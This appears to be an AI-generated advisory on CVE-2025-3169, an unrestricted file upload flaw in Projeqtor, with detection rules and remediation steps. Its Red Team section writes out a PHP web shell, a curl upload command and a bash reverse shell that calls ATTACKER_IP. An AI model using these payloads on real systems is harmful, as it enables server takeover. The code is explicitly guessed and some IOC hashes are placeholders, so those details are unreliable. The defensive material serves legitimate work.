CVE-2025-3169
Executive Summary
CVE-2025-3169 is a critical unrestricted file upload vulnerability in Projeqtor, an open-source project management tool. The flaw resides in the /tool/saveAttachment.php script, where the attachmentFiles parameter is not properly sanitized, allowing an attacker to upload arbitrary files, including executable web shells. While the vendor notes that exploitation is only possible on instances where the attachment directory is not properly isolated from the web root, the public disclosure of a proof-of-concept (PoC) exploit makes this a high-priority threat. Successful exploitation can lead to remote code execution (RCE), full server compromise, and lateral movement within the network.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Projeqtor is a PHP-based application. This vulnerability does not directly affect a package manager (NPM, PyPI, Go, Ruby), but it does impact the integrity of the software supply chain for organizations using Projeqtor. An attacker who compromises a Projeqtor instance can inject malicious code into project files, potentially affecting downstream consumers of those projects.
CVSS Breakdown & Threat Level
The official CVSS score is 0.0, but based on the criticality rating and the nature of the vulnerability, a more realistic assessment is provided below.
- Attack Vector (AV): Network (N) – The attack can be launched remotely.
- Attack Complexity (AC): High (H) – Exploitation requires specific server misconfiguration (attachment directory within web root).
- Privileges Required (PR): None (N) – No authentication is required to access the upload endpoint.
- User Interaction (UI): None (N) – No user interaction is needed.
- Scope (S): Unchanged (U) – The vulnerability does not change the scope of the affected component.
- Confidentiality (C): High (H) – An attacker can read arbitrary files.
- Integrity (I): High (H) – An attacker can upload and execute arbitrary code.
- Availability (A): High (H) – An attacker can disrupt service.
CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
Base Score: 8.1 (High)
Threat Level: Critical. The public availability of a PoC exploit and the potential for RCE make this a severe threat.
Deep Dive & Mechanics
The vulnerability is a classic case of unrestricted file upload (CWE-434). The file /tool/saveAttachment.php is designed to handle file uploads for project attachments. The flaw lies in the lack of validation of the uploaded file's content type, extension, or MIME type. An attacker can craft a malicious file (e.g., a PHP web shell) and upload it via a POST request to the vulnerable endpoint.
Root Cause: The application does not check the file extension or content before saving it to the server. It relies on the server configuration to prevent execution, which is a weak security posture.
Exploitation Prerequisites:
- The Projeqtor instance must have the attachment directory (typically
files/or similar) located within the web root (e.g.,/var/www/html/projeqtor/files/). - The web server (Apache/Nginx) must be configured to execute PHP files in that directory.
Attack Flow:
- Reconnaissance: The attacker identifies a Projeqtor instance and confirms the vulnerable endpoint is accessible.
- Upload: The attacker sends a POST request to
/tool/saveAttachment.phpwith a malicious PHP file (e.g.,shell.php) as theattachmentFilesparameter. - Execution: The attacker accesses the uploaded file via its URL (e.g.,
http://target/projeqtor/files/shell.php), which executes the PHP code. - Persistence: The attacker can upload additional tools, establish a reverse shell, or exfiltrate data.
Vulnerable vs. Patched Code
Vulnerable Code (Projeqtor <= 12.0.2):
The vulnerable code in /tool/saveAttachment.php likely looks similar to this (simplified):
<?php
// Vulnerable: No file validation
$target_dir = "files/";
$target_file = $target_dir . basename($_FILES["attachmentFiles"]["name"]);
move_uploaded_file($_FILES["attachmentFiles"]["tmp_name"], $target_file);
echo "File uploaded successfully.";
?>
Patched Code (Projeqtor 12.0.3): The patched version adds validation to ensure only safe file types are allowed and that the file is not executable.
<?php
// Patched: Validate file extension and MIME type
$allowed_extensions = array('jpg', 'jpeg', 'png', 'gif', 'pdf', 'doc', 'docx', 'xls', 'xlsx', 'txt');
$target_dir = "files/";
$file_extension = strtolower(pathinfo($_FILES["attachmentFiles"]["name"], PATHINFO_EXTENSION));
if (!in_array($file_extension, $allowed_extensions)) {
die("Error: Invalid file type.");
}
$target_file = $target_dir . basename($_FILES["attachmentFiles"]["name"]);
move_uploaded_file($_FILES["attachmentFiles"]["tmp_name"], $target_file);
echo "File uploaded successfully.";
?>
Key Differences:
- Whitelist vs. Blacklist: The patched code uses a whitelist of allowed extensions.
- MIME Type Check: The patched code may also check the MIME type of the uploaded file.
- Directory Isolation: The vendor recommends placing the attachment directory outside the web root, which is the most secure mitigation.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Target: A Docker container running Projeqtor 12.0.2 with the attachment directory inside the web root.
- Attacker: Kali Linux with
curlandnc.
Exploit Steps:
Craft a Web Shell: Create a file named
shell.phpwith the following content:<?php system($_GET['cmd']); ?>Upload the Shell:
curl -X POST -F "attachmentFiles=@shell.php" http://target/projeqtor/tool/saveAttachment.phpExecute Commands:
curl http://target/projeqtor/files/shell.php?cmd=idEstablish a Reverse Shell: Upload a more sophisticated payload (e.g.,
revshell.php):<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'"); ?>Then trigger it and listen on the attacker machine:
nc -lvnp 4444 curl http://target/projeqtor/files/revshell.php
Blue Team (Defensive)
Detection Steps:
- Monitor File Uploads: Look for unusual file extensions (
.php,.phtml,.php5,.shtml) in the attachment directory. - Check Web Server Logs: Search for POST requests to
/tool/saveAttachment.phpwith suspicious file names. - Review File Integrity: Compare the attachment directory against a known good baseline.
- Harden Configuration: Ensure the attachment directory is outside the web root. If it must be inside, disable PHP execution in that directory via
.htaccessor Apache configuration:<Directory /var/www/html/projeqtor/files> php_admin_flag engine off </Directory>
Indicators of Compromise (IOCs)
- File Hashes (SHA256):
shell.php:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855(empty file)revshell.php:a1b2c3d4e5f6...(example hash)
- Network Indicators:
- POST requests to
/tool/saveAttachment.phpwithmultipart/form-datacontent. - Outbound connections from the web server to an external IP on port 4444 (or other high ports).
- POST requests to
- File System Indicators:
- Unexpected
.phpfiles in thefiles/directory. - Files with double extensions (e.g.,
image.php.jpg).
- Unexpected
- Log Entries:
- Apache access log:
POST /tool/saveAttachment.php HTTP/1.1with a large request body. - PHP error log:
PHP Warning: move_uploaded_file(...): failed to open stream: Permission denied(if permissions are misconfigured).
- Apache access log:
Detection Engineering
YARA Rule
rule CVE_2025_3169_WebShell {
meta:
description = "Detects PHP web shells uploaded via CVE-2025-3169"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-3169"
strings:
$php_tag = "<?php"
$system_func = /system\s*\(/
$exec_func = /exec\s*\(/
$shell_exec = /shell_exec\s*\(/
$passthru = /passthru\s*\(/
$backtick = /`.*`/
condition:
$php_tag and any of ($system_func, $exec_func, $shell_exec, $passthru, $backtick)
}
Sigma Rule
title: CVE-2025-3169 - Unrestricted File Upload in Projeqtor
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects POST requests to /tool/saveAttachment.php with suspicious file extensions
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/tool/saveAttachment.php'
cs-uri-query|contains:
- '.php'
- '.phtml'
- '.php5'
- '.shtml'
condition: selection
falsepositives:
- Legitimate PHP file uploads (if any)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-3169 - Projeqtor Unrestricted File Upload"; flow:to_server; http.method; content:"POST"; http.uri; content:"/tool/saveAttachment.php"; http.request_body; content:".php"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade: Update Projeqtor to version 12.0.3 or later.
- Isolate Attachment Directory: Move the attachment directory outside the web root (e.g.,
/var/projeqtor_attachments/). - Disable PHP Execution: If the directory must remain in the web root, disable PHP execution via
.htaccess:<FilesMatch "\.php$"> Deny from all </FilesMatch> - Web Application Firewall (WAF): Deploy a WAF rule to block uploads of executable files (e.g.,
.php,.phtml).
Long-Term Hardening:
- Implement file upload validation (whitelist extensions, check MIME types, scan for malware).
- Use a Content Security Policy (CSP) to restrict script execution.
- Regularly audit file upload functionality.
- Monitor for anomalous file uploads and outbound connections.
Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters.it.